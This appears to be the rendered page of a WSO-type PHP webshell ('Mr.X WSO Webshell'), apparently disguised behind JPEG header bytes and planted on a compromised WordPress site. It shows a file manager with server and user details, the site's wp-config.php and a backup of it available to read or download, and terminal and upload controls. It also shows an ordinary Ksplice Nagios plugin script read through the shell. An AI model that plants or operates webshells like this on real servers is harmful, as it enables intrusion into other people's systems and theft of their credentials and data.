����JFIF���������www.stoptube.com - WSOX ENC
Attention:
Uname:
Php:
Hdd:
Cwd:
Mr.X WSO Webshell! - Personal WEB SHELL Mr.X BYPASS! V2.5 Telegram: @jackleet
Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
5.3.29 Safe mode: OFF Datetime: 2026-04-10 04:57:56
1999.30 GB Free: 139.36 GB (6%)
/home/httpd/html/stoptube.com/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
127.0.0.54
Client IP:
216.73.216.53
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2020-10-29 21:25:34drwxr-xr-xRename Touch
[ .. ]dir2026-04-10 04:56:12drwxr-xr-xRename Touch
[ cgi-bin ]dir2012-04-08 21:15:31drwxr-xr-xRename Touch
[ public_html ]dir2023-11-10 01:29:28drwxr-xr-xRename Touch
[ stats ]dir2012-05-18 05:35:08drwxr-xr-xRename Touch
[ wp-admin ]dir2018-10-17 02:02:36drwxr-xr-xRename Touch
[ wp-content ]dir2026-04-10 04:53:30drwxrwxr-xRename Touch
[ wp-includes ]dir2018-10-17 02:02:35drwxrwxr-xRename Touch
[ wpbackup-mojo ]dir2013-09-23 12:20:27drwxr-xr-xRename Touch
120x240_2.gif13.45 KB2008-06-28 03:13:23-rw-r--r--Rename Touch Edit Download
120x240_4.gif11.19 KB2008-06-28 03:15:01-rw-r--r--Rename Touch Edit Download
google33e705b4a02b516c.html53 B2018-10-09 07:59:06-rw-r--r--Rename Touch Edit Download
google54c2bf32c9bf2083.html7 B2009-05-30 01:17:01-rw-r--r--Rename Touch Edit Download
grepsearch.php910 B2009-05-31 03:50:51-rw-r--r--Rename Touch Edit Download
index.php418 B2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
license.txt19.47 KB2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
readme.html7.24 KB2020-10-29 21:25:34-rw-r--r--Rename Touch Edit Download
robots.txt29 B2014-04-01 00:38:43-rw-r--r--Rename Touch Edit Download
scan_files.php3.34 KB2009-06-03 20:33:08-rw-r--r--Rename Touch Edit Download
wp-activate.php6.72 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-atom.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php364 B2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-comments-post.php1.84 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-commentsrss2.php244 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-config-sample.php2.79 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-config.php1.47 KB2018-10-04 12:51:18-rw-rw-r--Rename Touch Edit Download
wp-config.php_backup_ticket_5246641.30 KB2018-10-03 15:00:12-rw-r--r--Rename Touch Edit Download
wp-cron.php3.58 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-feed.php246 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.37 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-load.php3.23 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-login.php36.92 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-mail.php7.86 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-pass.php494 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rdf.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-register.php334 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss2.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-settings.php15.87 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-signup.php29.39 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.51 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wpupdate.sh12.75 KB2013-09-22 17:09:27-rw-r--r--Rename Touch Edit Download
xmlrpc.php2.99 KB2018-10-17 02:02:34----------Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: //opt/lib/nagios/plugins/check_uptrack_local
#!/usr/bin/python2
# Ksplice Uptrack local Nagios plugin
#
# Copyright (C) 2010-2012 Oracle and/or its affiliates. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from __future__ import print_function
import optparse
import os
import sys
import time
import yaml
try:
    from yaml import CSafeLoader as yaml_loader
except ImportError:
    from yaml import SafeLoader as yaml_loader

NAGIOS_OK = 0
NAGIOS_WARNING = 1
NAGIOS_CRITICAL = 2
NAGIOS_UNKNOWN = 3

INACTIVE_THRESHOLD = 12 * 60 * 60  # 12 hours, in seconds


def exit_nagios(status, text, perf=None, longtext=None, longperf=None):
    sys.stdout.write(text)
    if perf:
        sys.stdout.write("|" + perf)
    print()
    if longtext:
        sys.stdout.write(longtext)
    if longperf:
        sys.stdout.write("|" + longperf)
    if longtext or longperf:
        print()
    sys.exit(status)


try:
    import Uptrack
except ImportError as e:
    exit_nagios(NAGIOS_UNKNOWN, "Import error", longtext=str(e))


def parse_states(spec):
    out = []
    mapping = dict(o='outofdate', u='unsupported', i='inactive')
    for s in spec.split(","):
        if s in mapping:
            out.append(mapping[s])
    return out


def last_checkin(results):
    """ Returns the last checkin time in UTC epoch seconds.
    """
    return time.mktime(results["Time"].timetuple())


def my_upgrade_plan(upgrade_plan):
    steps = upgrade_plan["Plan"]
    steps_str = "No updates to install or remove."
    out_of_date = False
    if len(steps) > 0:
        out_of_date = True
        steps_str = "Steps for upgrade:\n  * " + \
            "\n  * ".join(["%s %s (%s)"
                           % (update_info['Command'], update_info['ID'], update_info['Name'])
                           for update_info in steps])
    return out_of_date, steps_str


def unsupported(results):
    return results["Result"]["Code"] == Uptrack.ERROR_UNSUPPORTED


def results_message(results):
    return results["Result"]["Message"]


def get_host(results):
    return results["Client"]["Hostname"]


def get_ip(results):
    """
    The results file may have a 'LocalIP_error' instead of a LocalIP.
    """
    try:
        return results["Client"]["LocalIP"]
    except KeyError:
        return "unknown IP"


def get_uuid():
    try:
        return open(Uptrack.UPTRACK_UUID_FILE).read().strip()
    except Exception:
        return "unknown UUID"


def main():
    parser = optparse.OptionParser("""Usage: %prog [options]""")

    specs = optparse.OptionGroup(
        parser,
        "Nagios State specification",
        "These options select under which circumstances the plugin "
        "will return which Nagios state. Each option should be a "
        "comma-separated string containing zero or more of the "
        "choices 'o', 'u', and 'i', for out of date, unsupported, "
        "and inactive machines, respectively.")

    specs.add_option("-w", "--warning",
                     type="string",
                     action="store",
                     dest="warning",
                     default="",
                     help="Machine states to trigger a WARNING state.")
    specs.add_option("-c", "--critical",
                     type="string",
                     action="store",
                     dest="critical",
                     default="",
                     help="Machine states to trigger a CRITICAL state.")
    parser.add_option_group(specs)

    (opts, unused_args) = parser.parse_args()

    if not opts.critical and not opts.warning:
        # If no options are specified, default to a CRITICAL status for out of
        # date machines and a WARNING status for inactive machines.
        opts.critical = 'o'
        opts.warning = 'i'

    states = dict()

    sysname, unused_hostname, release, version, arch, unused_userarch = Uptrack.getUname()
    path = os.path.join(Uptrack.UPTRACK_CACHE_DIR, sysname, arch, release, version)

    try:
        results = yaml.load(open(os.path.join(path, "results"), 'r').read(),
                            Loader=yaml_loader)
    except Exception as e:
        longtext = "\n".join(
            [str(e),
             "",
             "It looks like the Uptrack client has never been run on this system.",
             "Please run 'uptrack-upgrade -n' to update the list of available updates.",
             "For assistance, please contact ksplice-support_ww@oracle.com."]
        )
        exit_nagios(NAGIOS_UNKNOWN, "%s is UNKNOWN" % (get_uuid(),),
                    longtext=longtext)

    out_of_date = False
    try:
        upgrade_plan = yaml.load(open(os.path.join(path, "upgrade_plan"), 'r').read(),
                                 Loader=yaml_loader)
        # Am I out of date?
        out_of_date, plan = my_upgrade_plan(upgrade_plan)
    except Exception:
        # Unsupported kernels and trying to upgrade with an invalid access key
        # are some of the ways to have a results file but no upgrade plan.
        plan = results_message(results)

    if out_of_date:
        states["outofdate"] = True

    # Am I unsupported?
    if unsupported(results):
        states["unsupported"] = True

    # Am I inactive?
    if time.time() - last_checkin(results) > INACTIVE_THRESHOLD:
        states["inactive"] = True

    # Summarize all issues in the perfdata
    perfdata = ";".join([state for (state, val) in states.items() if val])

    for (rv, spec) in [(NAGIOS_CRITICAL, opts.critical),
                       (NAGIOS_WARNING, opts.warning)]:
        for state in parse_states(spec):
            if states.get(state):
                exit_nagios(rv,
                            "%s (%s) is %s" % (get_host(results), get_ip(results), state.upper()),
                            perf=perfdata, longtext=plan)

    exit_nagios(NAGIOS_OK, "%s (%s) is OK" % (get_host(results), get_ip(results)),
                perf=perfdata)


if __name__ == '__main__':
    sys.exit(main())